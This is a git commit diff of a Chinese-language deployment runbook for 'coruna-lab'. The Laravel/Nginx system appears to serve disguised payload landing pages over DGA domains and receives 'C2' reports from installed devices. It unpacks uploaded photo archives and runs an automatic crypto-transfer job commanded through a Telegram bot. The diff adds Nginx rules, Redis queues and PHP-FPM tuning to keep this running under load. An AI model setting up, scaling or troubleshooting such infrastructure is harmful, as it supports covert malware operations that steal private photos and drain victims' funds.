feat: quene

This commit is contained in:
hashbro
2026-09-01 05:09:00 +08:00
parent 337bf45c79
commit e23550e820
28 changed files with 969 additions and 234 deletions
+100 -9
View File
@@ -37,8 +37,8 @@
│
├─ 旧静态:/web/<id>/… /sync/…
├─ 新静态:/channel/<ver>/… /details/…
├─ 新别名:/c/<ver>/show.htm → Laravel → channel/<ver>/details/show.html
└─ DGA 域名反代到同一 public/
├─ 新别名:/c/<ver>/show.htm → Nginx 静态 → channel/<ver>/details/show.html
└─ DGA 域名反代到同一 public/(须带同一套落地页 location)
```
建议目录:
@@ -173,12 +173,16 @@ https://admin.example.com/sync/daily.html
https://admin.example.com/channel/<ver>/weifile/weifile.html
https://admin.example.com/channel/<ver>/details/
https://admin.example.com/details/… # 共享模板(native 按需拉)
https://admin.example.com/c/<ver>/show.htm # Laravel 别名 → channel/<ver>/details/show.html
https://admin.example.com/c/<ver>/show.htm # Nginx 静态别名 → channel/<ver>/details/show.html
```
在 Admin 站点 Nginx 中优先静态命中(放在 `location /` 的 `try_files … /index.php` **之前**)。`/c/` 不要配成纯静态,交给 Laravel:
在 **Admin 站和所有反代到同一 `public/` 的投放 / DGA 域名** 上都要配下面这段。放在 `location /` 以及 `include enable-php-*.conf` **之前**。漏配时 `/c/<ver>/show.htm` 会掉进 Laravel,一次落地页就占一个 PHP-FPM worker。
`root` / `alias` 里的路径按实际站点根改(宝塔多为 `/www/wwwroot/coruna-lab/public`)。
```nginx
# —— 粘贴到「网站 → 设置 → 配置文件」,放在 location / 和 enable-php 之前 ——
location ~ "^/web/[0-9a-f]{32}/" {
try_files $uri =404;
add_header Cache-Control "public, max-age=300";
@@ -200,8 +204,39 @@ location /details/ {
try_files $uri =404;
add_header Cache-Control "public, max-age=300";
}
# 新版落地别名(设备硬编码 18 字节路径 /c/{ver}/show.htm)
# 直接映射到 channel/{ver}/details/show.html,禁止进 PHP-FPM
location ~ "^/c/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})/show\.htm$" {
alias /www/wwwroot/coruna-lab/public/channel/$1/details/show.html;
types { }
default_type application/octet-stream;
add_header Cache-Control "public, max-age=60";
add_header Content-Type "application/octet-stream" always;
}
```
保存后:
```bash
nginx -t && nginx -s reload
```
用一个已存在的渠道 ID 验证(把 `0.0.01` 换成真实 `X.Y.ZZ`):
```bash
curl -sI https://你的投放域名/c/0.0.01/show.htm
```
应同时满足:
- HTTP 200
- `Content-Type: application/octet-stream`
- **没有** `X-Powered-By: PHP`
- `Cache-Control` 含 `max-age=60`
若仍看到 PHP,说明这段 location 没生效(写错站点、写在 `location /` 后面、或只改了 Admin 站没改 DGA 站)。Laravel 路由仍保留作本机 / 未配 Nginx 时的兜底,生产应以 Nginx 为准。
`lab_seeds.json` / `out/` 分别在 `storage/app/channel-builder/` 与 `storage/app/channel-builder-new/`,不在 web 根。
**首次创建渠道后**,用返回的 DGA `domains.deployment` / `domains.reporting` 注册域名,反代到同一 `public/`(reporting → C2;新版短路径 C2 见 `routes/xxbb.php`)。
@@ -326,6 +361,14 @@ SESSION_DOMAIN=null
SESSION_SECURE_COOKIE=true
SESSION_SAME_SITE=lax
# 抗压:同机 4C8G 请装 Redis,把 cache/queue 从 file/sync 换掉(见 §2.6)
# CACHE_STORE=redis
# QUEUE_CONNECTION=redis
# REDIS_HOST=127.0.0.1
# REDIS_PORT=6379
CACHE_STORE=file
QUEUE_CONNECTION=sync
# 内嵌两套 builder(无 Build API;产物默认 public/)
CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
@@ -388,7 +431,54 @@ ls -la /www/wwwroot/coruna-lab/storage/app/channel-builder-new/out/weifile
未配置 `XXBB_CHANNEL_C` 时,后台创建「新版」渠道会直接报错。
### 2.6 p7zip(C2 入库)
### 2.6 抗压(Redis / 队列 / PHP-FPM)
落地页按 §1.3 交给 Nginx 之后,`/statistic/t`、Telegram、自动转账和相册解压在 `QUEUE_CONNECTION=redis` 时走同一条队列。4C8G 同机请装 Redis,避免 file 缓存锁和同步出站 HTTP 占满 FPM。
1. 宝塔软件商店安装 **Redis**,确认 `127.0.0.1:6379` 可连。
2. PHP 8.2 安装 `redis` 扩展。
3. `.env`:
```dotenv
CACHE_STORE=redis
QUEUE_CONNECTION=redis
REDIS_HOST=127.0.0.1
REDIS_PORT=6379
```
4. 改完后:
```bash
cd /www/wwwroot/coruna-lab
/www/server/php/82/bin/php artisan migrate
/www/server/php/82/bin/php artisan config:clear
```
5. 宝塔 **Supervisor** 常驻队列(换成 redis 后必须有,否则 PV 不记、通知不发):
```text
名称: coruna-queue
启动命令: /www/server/php/82/bin/php artisan queue:work redis --sleep=1 --tries=3 --timeout=90 --max-time=3600
启动目录: /www/wwwroot/coruna-lab
进程数量: 2
```
6. PHP-FPM(软件商店 → PHP 8.2 → 性能调整),4C8G 建议:
```ini
pm = dynamic
pm.max_children = 24
pm.start_servers = 4
pm.min_spare_servers = 2
pm.max_spare_servers = 8
pm.max_requests = 500
```
`max_children` 不要开到 50+:每个 worker 约 40–80MB,再加 MySQL 会先 swap。相册解包仍可能短时占满几个 worker,属正常。
7. MySQL:8G 机器 `innodb_buffer_pool_size` 建议 1.5G–2.5G。
### 2.7 p7zip(C2 入库)
`CORUNA_7Z_BIN` **仍需要**:设备 multipart 上报的混淆 7z 由 Laravel `CorunaArchive` 解压,与两套 channel-builder 无关。
@@ -416,7 +506,7 @@ chmod +x bin/7z
`command -v 7z` 为空说明未装成功或 PATH 无 `7z`;用 `find /usr -name '7z' 2>/dev/null` 定位后再 `cp`。
### 2.7 Telegram Webhook(上线必做)
### 2.8 Telegram Webhook(上线必做)
Bot 入站指令(如 `/transfer`)依赖公网 HTTPS webhook,默认路径:
@@ -479,7 +569,7 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log
2. 新版:`channel-builder-new/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'` 正常;`.env` 已有 `XXBB_CHANNEL_C`
3. Admin 登录 `https://admin.example.com/admin/login`
4. **旧版**渠道:新建 → 构建成功;响应含 `seeds` / `domains`(首次);打开 `/web/<id>/support.html` 与 `/sync/daily.html`
5. **新版**渠道:ID 用 `X.Y.ZZ`(如 `0.0.01`)→ 构建成功;打开 `/channel/<ver>/weifile/weifile.html`;`/details/` 可访问;`/c/<ver>/show.htm` 有内容
5. **新版**渠道:ID 用 `X.Y.ZZ`(如 `0.0.01`)→ 构建成功;打开 `/channel/<ver>/weifile/weifile.html`;`/details/` 可访问;`/c/<ver>/show.htm` 由 Nginx 直接出(`curl -sI` 无 `X-Powered-By: PHP`)
6. seed / staged weifile 只在 `storage/app/channel-builder*`,不通过 URL 暴露
7. C2 上报与 7z 入库正常(新版短路径含 `/a` `/u` `/event` 等,见 `routes/xxbb.php`)
8. `telegram:set-webhook` 成功;Bot 能收到指令
@@ -499,9 +589,10 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log
| 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` |
| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` |
| 勿改线上 `XXBB_CHANNEL_C` | 改了会导致新版 DGA 域名与已装设备不一致;换战役需整体重部署策略 |
| 队列 worker(Redis 时) | `php artisan queue:work --sleep=1 --tries=3`(宝塔 Supervisor 常驻,见 §2.6) |
当前 `QUEUE_CONNECTION=sync`,一般无需单独 queue worker。
`QUEUE_CONNECTION=sync` 时无需 worker;换成 `redis` 后必须常驻 `queue:work`,否则 PV 记数、Telegram 通知、自动转账和相册解压都不会执行。自动转账仍由每分钟的 `coruna:auto-transfer` 扫描候选地址,真正的查余额 / 广播交给队列(同一地址 3 分钟内只跑一条,失败不重试,避免重复打款)。相册上报仍立刻 ACK,包先落到 `storage/app/c2/inbox/` 再解;解不开只写日志、不入库、不重试(与改队列前一致)。
---
@@ -644,7 +735,7 @@ chmod -R ug+rwx storage/framework/sessions
若要把静态产物拆到另一台纯静态机:
- 旧版:rsync `public/web` + `public/sync`
- 新版:rsync `public/channel` + `public/details`;`/c/<ver>/show.htm` 需仍打到 Laravel,或在静态机做等价映射
- 新版:rsync `public/channel` + `public/details`;静态机 Nginx 必须带 §1.3 的 `/c/<ver>/show.htm` `alias` 映射,不要把该路径反代回 PHP
- 或把 `CORUNA_ARTIFACT_ROOT` 指到共享盘,静态机 Nginx root 指向该盘
- seed / staged 状态仍放在 lab:`CORUNA_CHANNEL_STATE_ROOT`、`CORUNA_CHANNEL_NEW_STATE_ROOT`